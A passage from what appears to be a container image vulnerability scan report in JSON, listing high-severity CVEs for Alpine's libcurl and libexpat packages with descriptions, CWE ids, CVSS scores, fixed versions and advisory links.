"photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:55439", "https://access.redhat.com/security/cve/CVE-2026-8286", "https://bugzilla.redhat.com/2446448", "https://bugzilla.redhat.com/2446450", "https://bugzilla.redhat.com/2496758", "https://bugzilla.redhat.com/2496763", "https://bugzilla.redhat.com/show_bug.cgi?id=2446448", "https://bugzilla.redhat.com/show_bug.cgi?id=2446450", "https://bugzilla.redhat.com/show_bug.cgi?id=2496758", "https://bugzilla.redhat.com/show_bug.cgi?id=2496763", "https://creativecommons.org/licenses/by/4.0/", "https://curl.se/L7HzKXisfJ/CVE-2026-8286.md", "https://curl.se/docs/CVE-2026-8286.html", "https://curl.se/docs/CVE-2026-8286.json", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-1965", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3783", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8286", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9547", "https://errata.almalinux.org/9/ALSA-2026-55439.html", "https://errata.rockylinux.org/RLSA-2026:55439", "https://github.com/advisories/GHSA-32xh-3x3c-6g6h", "https://hackerone.com/reports/3718195", "https://linux.oracle.com/cve/CVE-2026-8286.html", "https://linux.oracle.com/errata/ELSA-2026-57462.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-8286", "https://ubuntu.com/security/notices/USN-8487-1", "https://www.cve.org/CVERecord?id=CVE-2026-8286" ], "PublishedDate": "2026-07-03T07:16:24.453Z", "LastModifiedDate": "2026-09-15T07:16:31.617Z" }, { "VulnerabilityID": "CVE-2026-8458", "PkgID": "libcurl@8.20.0-r1", "PkgName": "libcurl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcurl@8.20.0-r1?arch=x86_64\u0026distro=3.24.1", "UID": "59b9580380420dad" }, "InstalledVersion": "8.20.0-r1", "FixedVersion": "8.21.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8458", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:2a299679ec052cee2dcceaf5002bd27d36e3c2231ccb1ab86acd692b69eaa2ce", "Title": "curl: libcurl: Unauthorized connection reuse due to a logical error", "Description": "libcurl might in some circumstances reuse the wrong connection when asked to\ndo Negotiate-authenticated ones, even when they are set to use different\n\"services\".\n\nlibcurl features a pool of recent connections so that subsequent requests can\nreuse an existing connection to avoid overhead.\n\nWhen reusing a connection a range of criteria must be met. Due to a logical\nerror in the code, a request that was issued by an application could\nwrongfully reuse an existing connection to the same server that was\nauthenticated using different services.", "Severity": "HIGH", "CweIDs": [ "CWE-488" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "julia": 2, "oracle-oval": 3, "photon": 2, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "V3Score": 6.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69126", "https://access.redhat.com/security/cve/CVE-2026-8458", "https://bugzilla.redhat.com/2496764", "https://bugzilla.redhat.com/2496769", "https://bugzilla.redhat.com/show_bug.cgi?id=2496764", "https://bugzilla.redhat.com/show_bug.cgi?id=2496769", "https://creativecommons.org/licenses/by/4.0/", "https://curl.se/L7HzKXisfJ/CVE-2026-8458.md", "https://curl.se/docs/CVE-2026-8458.html", "https://curl.se/docs/CVE-2026-8458.json", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8458", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8927", "https://errata.almalinux.org/9/ALSA-2026-69126.html", "https://errata.rockylinux.org/RLSA-2026:69126", "https://github.com/advisories/GHSA-88c6-6jfq-mm4q", "https://hackerone.com/reports/3721183", "https://linux.oracle.com/cve/CVE-2026-8458.html", "https://linux.oracle.com/errata/ELSA-2026-92368.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-8458", "https://ubuntu.com/security/notices/USN-8487-1", "https://www.cve.org/CVERecord?id=CVE-2026-8458" ], "PublishedDate": "2026-07-03T07:16:24.63Z", "LastModifiedDate": "2026-09-15T07:16:32.327Z" }, { "VulnerabilityID": "CVE-2026-8925", "PkgID": "libcurl@8.20.0-r1", "PkgName": "libcurl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcurl@8.20.0-r1?arch=x86_64\u0026distro=3.24.1", "UID": "59b9580380420dad" }, "InstalledVersion": "8.20.0-r1", "FixedVersion": "8.21.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8925", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:4d0ee7df07950a4a5b50eac151f75c13c4be1a00e8f36b68d997986d96f56849", "Title": "curl: curl: Double-free vulnerability in SASL authentication", "Description": "The curl logic that works with SASL authentication could end up cleaning up\nthe GSASL context *twice* without clearing the pointer in between, making it\n`free()` the same pointer twice.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "amazon": 2, "julia": 4, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-8925", "https://curl.se/L7HzKXisfJ/CVE-2026-8925.md", "https://curl.se/docs/CVE-2026-8925.html", "https://curl.se/docs/CVE-2026-8925.json", "https://github.com/advisories/GHSA-p8x5-c6c9-8cwx", "https://hackerone.com/reports/3735193", "https://nvd.nist.gov/vuln/detail/CVE-2026-8925", "https://ubuntu.com/security/notices/USN-8487-1", "https://www.cve.org/CVERecord?id=CVE-2026-8925" ], "PublishedDate": "2026-07-03T07:16:24.95Z", "LastModifiedDate": "2026-09-15T07:16:32.8Z" }, { "VulnerabilityID": "CVE-2026-8927", "PkgID": "libcurl@8.20.0-r1", "PkgName": "libcurl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcurl@8.20.0-r1?arch=x86_64\u0026distro=3.24.1", "UID": "59b9580380420dad" }, "InstalledVersion": "8.20.0-r1", "FixedVersion": "8.21.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8927", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:52d0ed88a0dcbab21fe3d3e57abffddceec3b07c678f9320fa9517c07eeaf3f8", "Title": "curl: Information disclosure due to uncleared proxy authentication state", "Description": "When reusing a libcurl handle for sequential transfers driven by\nenvironment-variable proxy configuration, libcurl fails to clear the proxy\nauthentication state between requests. Specifically, if the initial transfer\nauthenticates against `proxyA` using Digest auth, a subsequent transfer routed\nthrough `proxyB` erroneously leaks the `Proxy-Authorization:` header intended\nsolely for `proxyA`.", "Severity": "HIGH", "CweIDs": [ "CWE-294" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "julia": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69126", "https://access.redhat.com/security/cve/CVE-2026-8927", "https://bugzilla.redhat.com/2496764", "https://bugzilla.redhat.com/2496769", "https://bugzilla.redhat.com/show_bug.cgi?id=2496764", "https://bugzilla.redhat.com/show_bug.cgi?id=2496769", "https://creativecommons.org/licenses/by/4.0/", "https://curl.se/L7HzKXisfJ/CVE-2026-8927.md", "https://curl.se/docs/CVE-2026-8927.html", "https://curl.se/docs/CVE-2026-8927.json", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8458", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8927", "https://errata.almalinux.org/9/ALSA-2026-69126.html", "https://errata.rockylinux.org/RLSA-2026:69126", "https://github.com/advisories/GHSA-jr4f-4564-w3mr", "https://hackerone.com/reports/3744543", "https://linux.oracle.com/cve/CVE-2026-8927.html", "https://linux.oracle.com/errata/ELSA-2026-92368.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-8927", "https://ubuntu.com/security/notices/USN-8487-1", "https://ubuntu.com/security/notices/USN-8820-1", "https://www.cve.org/CVERecord?id=CVE-2026-8927" ], "PublishedDate": "2026-07-03T07:16:25.123Z", "LastModifiedDate": "2026-09-15T07:16:33.157Z" }, { "VulnerabilityID": "CVE-2026-92392", "PkgID": "libcurl@8.20.0-r1", "PkgName": "libcurl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcurl@8.20.0-r1?arch=x86_64\u0026distro=3.24.1", "UID": "59b9580380420dad" }, "InstalledVersion": "8.20.0-r1", "FixedVersion": "8.23.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-92392", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:e5d394ea45a3d8b5f70b37b0d55bcf5549be4ba5e1c4785e49378dfd84d5376e", "Title": "curl: curl: HTTP/2 upload Use-After-Free", "Description": "During an upload, curl mishandles HTTP/2 `RST_STREAM` received from the server\n(with reason `HTTP_1_1_REQUIRED` or `REFUSED_STREAM`) leading to a use after\nfree of a `struct Curl_easy` object.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/18/5", "http://www.openwall.com/lists/oss-security/2026/10/18/6", "https://access.redhat.com/security/cve/CVE-2026-92392", "https://curl.se/docs/CVE-2026-92392.html", "https://curl.se/docs/CVE-2026-92392.json", "https://hackerone.com/reports/4030333", "https://nvd.nist.gov/vuln/detail/CVE-2026-92392", "https://ubuntu.com/security/notices/USN-8927-1", "https://ubuntu.com/security/notices/USN-8927-2", "https://www.cve.org/CVERecord?id=CVE-2026-92392" ], "PublishedDate": "2026-10-14T08:17:05.997Z", "LastModifiedDate": "2026-10-18T23:16:57.163Z" }, { "VulnerabilityID": "CVE-2026-9547", "PkgID": "libcurl@8.20.0-r1", "PkgName": "libcurl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcurl@8.20.0-r1?arch=x86_64\u0026distro=3.24.1", "UID": "59b9580380420dad" }, "InstalledVersion": "8.20.0-r1", "FixedVersion": "8.21.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-9547", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:d84ffcb1ababbbb9ec71124cd662614f9aa011ae6d5362498fb8554004e5f7da", "Title": "curl: curl: Man-in-the-middle attack via SSH host key bypass", "Description": "When a libcurl-based application performs transfers via `SCP://` or `SFTP://`\nand utilizes the `CURLOPT_SSH_KEYFUNCTION` callback, it may silently accept an\nuntrusted server. This vulnerability occurs when a server presents a host key\ntype that does not match the specific key type already recorded for that host\nin the `known_hosts` file. Instead of rejecting the mismatch, the callback\nmechanism fails to properly enforce the restriction, allowing the connection\nto succeed without warning and risking a potential man-in-the-middle attack.", "Severity": "HIGH", "CweIDs": [ "CWE-297" ], "VendorSeverity": { "alma": 3, "amazon": 2, "julia": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:55439", "https://access.redhat.com/security/cve/CVE-2026-9547", "https://bugzilla.redhat.com/2446448", "https://bugzilla.redhat.com/2446450", "https://bugzilla.redhat.com/2496758", "https://bugzilla.redhat.com/2496763", "https://bugzilla.redhat.com/show_bug.cgi?id=2446448", "https://bugzilla.redhat.com/show_bug.cgi?id=2446450", "https://bugzilla.redhat.com/show_bug.cgi?id=2496758", "https://bugzilla.redhat.com/show_bug.cgi?id=2496763", "https://creativecommons.org/licenses/by/4.0/", "https://curl.se/L7HzKXisfJ/CVE-2026-9547.md", "https://curl.se/docs/CVE-2026-9547.html", "https://curl.se/docs/CVE-2026-9547.json", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-1965", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3783", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8286", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9547", "https://errata.almalinux.org/9/ALSA-2026-55439.html", "https://errata.rockylinux.org/RLSA-2026:55439", "https://github.com/advisories/GHSA-xq9p-gxg6-f7q6", "https://hackerone.com/reports/3751712", "https://linux.oracle.com/cve/CVE-2026-9547.html", "https://linux.oracle.com/errata/ELSA-2026-55450.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-9547", "https://ubuntu.com/security/notices/USN-8487-1", "https://www.cve.org/CVERecord?id=CVE-2026-9547" ], "PublishedDate": "2026-07-03T07:16:25.99Z", "LastModifiedDate": "2026-09-15T07:16:35.31Z" }, { "VulnerabilityID": "CVE-2026-113351", "PkgID": "libexpat@2.8.1-r0", "PkgName": "libexpat", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libexpat@2.8.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "9b3a7621208f28cf" }, "InstalledVersion": "2.8.1-r0", "FixedVersion": "2.10.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-113351", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:944e371b2e1654b5f9f49698aae26fa52646e8f7db0994e79bf8371cb2cfabca", "Title": "expat: expat: Denial of Service via improper memory tracking in XML_ParserReset", "Description": "libexpat 2.7.2 through 2.9.0 contains a denial of service vulnerability because XML_ParserReset zeroes the direct byte count but never offsets tracked heap allocations. Attackers can submit a large XML document so later documents on the same reset parser fail with XML_ERROR_NO_MEMORY until it is recreated.", "Severity": "HIGH", "CweIDs": [ "CWE-909" ], "VendorSeverity": { "nvd": 3, "redhat": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-113351", "https://github.com/libexpat/libexpat", "https://github.com/libexpat/libexpat/blob/a76b1174c1ea52abb639a4c69d52b630a8a106a2/expat/lib/xmlparse.c#L1560", "https://github.com/libexpat/libexpat/blob/a76b1174c1ea52abb639a4c69d52b630a8a106a2/expat/lib/xmlparse.c#L860-L884", "https://github.com/libexpat/libexpat/pull/1431", "https://nvd.nist.gov/vuln/detail/CVE-2026-113351", "https://www.cve.org/CVERecord?id=CVE-2026-113351", "https://www.vulncheck.com/advisories/libexpat-2.7.2-through-2.9.0-denial-of-service-via-xml-parserreset" ], "PublishedDate": "2026-10-20T11:17:19.363Z", "LastModifiedDate": "2026-11-03T21:26:47.25Z" }, { "VulnerabilityID": "CVE-2026-115506", "PkgID": "libexpat@2.8.1-r0", "PkgName": "libexpat", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libexpat@2.8.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "9b3a7621208f28cf" }, "InstalledVersion": "2.8.1-r0", "FixedVersion": "2.10.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-115506", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:c210a062257907e21c93c6dc4da44c651200bce3fe37fa438f9b93727bb50982", "Title": "expat: expat: Denial of Service via delayed entity amplification detection", "Description": "libexpat through 2.9.0 contains a denial of service vulnerability because billion laughs protection in accountingDiffTolerated() in xmlparse.c detects entity amplification too late. Attackers can supply a moderately sized XML document with a large DTD and nested entity expansions to consume tens of seconds of CPU per parse.", "Severity": "HIGH", "CweIDs": [ "CWE-776" ], "VendorSeverity": { "photon": 3, "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-115506", "https://github.com/hannob/lololol", "https://github.com/libexpat/libexpat", "https://github.com/libexpat/libexpat/issues/1160", "https://github.com/libexpat/libexpat/pull/1433", "https://nvd.nist.gov/vuln/detail/CVE-2026-115506", "https://www.cve.org/CVERecord?id=CVE-2026-115506", "https://www.vulncheck.com/advisories/libexpat-through-2.9.0-denial-of-service-via-billion-laughs-detection-delay" ], "PublishedDate": "2026-10-22T20:17:06.62Z", "LastModifiedDate": "2026-11-02T18:27:06.127Z" }, { "VulnerabilityID": "CVE-2026-117610", "PkgID": "libexpat@2.8.1-r0", "PkgName": "libexpat", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libexpat@2.8.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "9b3a7621208f28cf" }, "InstalledVersion": "2.8.1-r0", "FixedVersion": "2.10.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-117610", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:f97fc12c6e20f9e383681b71cc8e53d6f679f918dcba4c1dac19a852746d00af", "Title": "expat: expat: Denial of Service via NULL pointer dereference in external entity parsing", "Description": "libexpat through 2.9.0 contains a NULL pointer dereference vulnerability in externalEntityInitProcessor2() in lib/xmlparse.c that mishandles the XML_TOK_NONE token from empty input. Attackers who control stream chunking can force an empty non-final first parse on an external entity subparser, causing a later parse to crash the application.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "nvd": 3, "redhat": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-117610", "https://github.com/libexpat/libexpat", "https://github.com/libexpat/libexpat/blob/a76b1174c1ea52abb639a4c69d52b630a8a106a2/expat/lib/xmlparse.c#L3468-L3510", "https://github.com/libexpat/libexpat/commit/7b0d50e4b1d16fafd55876260701e04279a7489d", "https://github.com/libexpat/libexpat/pull/1444", "https://nvd.nist.gov/vuln/detail/CVE-2026-117610", "https://www.cve.org/CVERecord?id=CVE-2026-117610", "https://www.vulncheck.com/advisories/libexpat-through-2.9.0-null-pointer-dereference-via-external-entity-subparser" ], "PublishedDate": "2026-10-28T03:17:12.777Z", "LastModifiedDate": "2026-11-05T16:17:35.787Z" }, { "VulnerabilityID": "CVE-2026-118370", "PkgID": "libexpat@2.8.1-r0", "PkgName": "libexpat", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libexpat@2.8.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "9b3a7621208f28cf" }, "InstalledVersion": "2.8.1-r0", "FixedVersion": "2.10.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-118370", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:2d18a1c91d5ed8719ca7502d9294ae3be518a85cf695c1cf618ac5e6bcf81271", "Title": "expat: expat: Denial of Service via integer overflow during XML attribute parsing", "Description": "libexpat through 2.9.0 contains a signed integer overflow vulnerability in storeAtts() in lib/xmlparse.c that allows attackers to trigger out-of-bounds writes via oversized attribute counts. Attackers can supply a multi-gigabyte document with a start tag carrying over 2^30 attributes to overflow attIndex and nPrefixes, crashing applications or corrupting heap memory.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "nvd": 3, "redhat": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "V3Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-118370", "https://github.com/libexpat/libexpat", "https://github.com/libexpat/libexpat/blob/a76b1174c1ea52abb639a4c69d52b630a8a106a2/expat/lib/xmlparse.c#L4138-L4140", "https://github.com/libexpat/libexpat/commit/1bac53c4fc460a03cd9860f39501c7979f6750ae", "https://github.com/libexpat/libexpat/commit/621cb2c78b253ee023a86bc91d6ddb048481c04c", "https://github.com/libexpat/libexpat/pull/1450", "https://nvd.nist.gov/vuln/detail/CVE-2026-118370", "https://www.cve.org/CVERecord?id=CVE-2026-118370", "https://www.vulncheck.com/advisories/libexpat-through-2.9.0-integer-overflow-in-storeatts-via-attindex-and-nprefixes" ], "PublishedDate": "2026-10-28T03:17:13.293Z", "LastModifiedDate": "2026-11-02T20:17:37.377Z" }, { "VulnerabilityID": "CVE-2026-66046", "PkgID": "libexpat@2.8.1-r0", "PkgName": "libexpat", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libexpat@2.8.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "9b3a7621208f28cf" }, "InstalledVersion": "2.8.1-r0", "FixedVersion": "2.8.4-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-66046", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:99e9ea00dbdc062b9562952529930250af451101cc58597084c0ff81eb7aef84", "Title": "expat: Expat: Denial of Service via quadratic complexity in attribute processing", "Description": "Expat through 2.8.3 contains a denial of service vulnerability caused by quadratic algorithmic complexity in the storeAtts() function in xmlparse.c, where processing N specified attributes with non-normalized values triggers an O(N^2) linear scan of elementType-\u003edefaultAtts to determine CDATA status. A remote unauthenticated attacker can supply a single well-formed XML document of a few megabytes to an application parsing untrusted XML to cause excessive CPU consumption, resulting in denial of service without requiring authentication, external entity resolution, or non-default parser options.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:72663", "https://access.redhat.com/security/cve/CVE-2026-66046", "https://bugzilla.redhat.com/2538967", "https://bugzilla.redhat.com/show_bug.cgi?id=2517901", "https://bugzilla.redhat.com/show_bug.cgi?id=2538967", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-66046", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93990", "https://errata.almalinux.org/9/ALSA-2026-72663.html", "https://errata.rockylinux.org/RLSA-2026:72663", "https://github.com/libexpat/libexpat/pull/1321", "https://linux.oracle.com/cve/CVE-2026-66046.html", "https://linux.oracle.com/errata/ELSA-2026-74001.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-66046", "https://ubuntu.com/security/notices/USN-8813-1", "https://www.cve.org/CVERecord?id=CVE-2026-66046", "https://www.vulncheck.com/advisories/expat-denial-of-service-via-storeatts-quadratic-complexity" ], "PublishedDate": "2026-08-18T15:16:57Z", "LastModifiedDate": "2026-10-22T22:10:00.25Z" }, { "VulnerabilityID": "CVE-2026-76641", "PkgID": "libexpat@2.8.1-r0", "PkgName": "libexpat", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libexpat@2.8.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "9b3a7621208f28cf" }, "InstalledVersion": "2.8.1-r0", "FixedVersion": "2.8.4-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76641", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:8e3578aae545b7e7ae4ca184426fff33b601f26c4ef26bdd692679435b6319cc", "Title": "expat: Expat: Denial of Service via XML external entity parsing", "Description": "Expat through 2.8.3 contains an out-of-bounds read vulnerability that allows attackers to trigger memory corruption by processing XML with external entity parsers created via XML_ExternalEntityParserCreate. A struct size mismatch between ELEMENT_TYPE members causes storeAtts to read the attIndex member past allocated memory boundaries, resulting in failure to normalize whitespace in non-CDATA attributes or a wild pointer dereference causing a segfault. This vulnerability was introduced by the fix for CVE-2026-66046.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-76641", "https://github.com/libexpat/libexpat/commit/98599f6dcc2b460410881fe420f5f55d6bec63bf", "https://github.com/libexpat/libexpat/pull/1331", "https://nvd.nist.gov/vuln/detail/CVE-2026-76641", "https://ubuntu.com/security/notices/USN-8813-1", "https://www.cve.org/CVERecord?id=CVE-2026-76641", "https://www.vulncheck.com/advisories/expat-out-of-bounds-read-via-dtdcopy" ], "PublishedDate": "2026-08-20T18:16:51.887Z", "LastModifiedDate": "2026-10-26T10:10:00.14Z" }, { "VulnerabilityID": "CVE-2026-76956", "PkgID": "libexpat@2.8.1-r0", "PkgName": "libexpat", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libexpat@2.8.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "9b3a7621208f28cf" }, "InstalledVersion": "2.8.1-r0", "FixedVersion": "2.8.4-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76956", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:d3ee735c11769f498b5503f62f538f60fc87911cba5e7245b33ef1d9997b1bec", "Title": "libexpat: libexpat: Denial of Service via hash flooding attack with crafted XML", "Description": "In libexpat 2.8.2 and 2.8.3 before 2.8.4, misinterpretation of getentropy's return code leads to insufficient entropy, which results in being vulnerable to hash flooding attacks, causing a denial of service via crafted XML content.", "Severity": "HIGH", "CweIDs": [ "CWE-394" ], "VendorSeverity": { "azure": 2, "nvd": 3, "redhat": 2 }, "CVSS": { "nvd": { 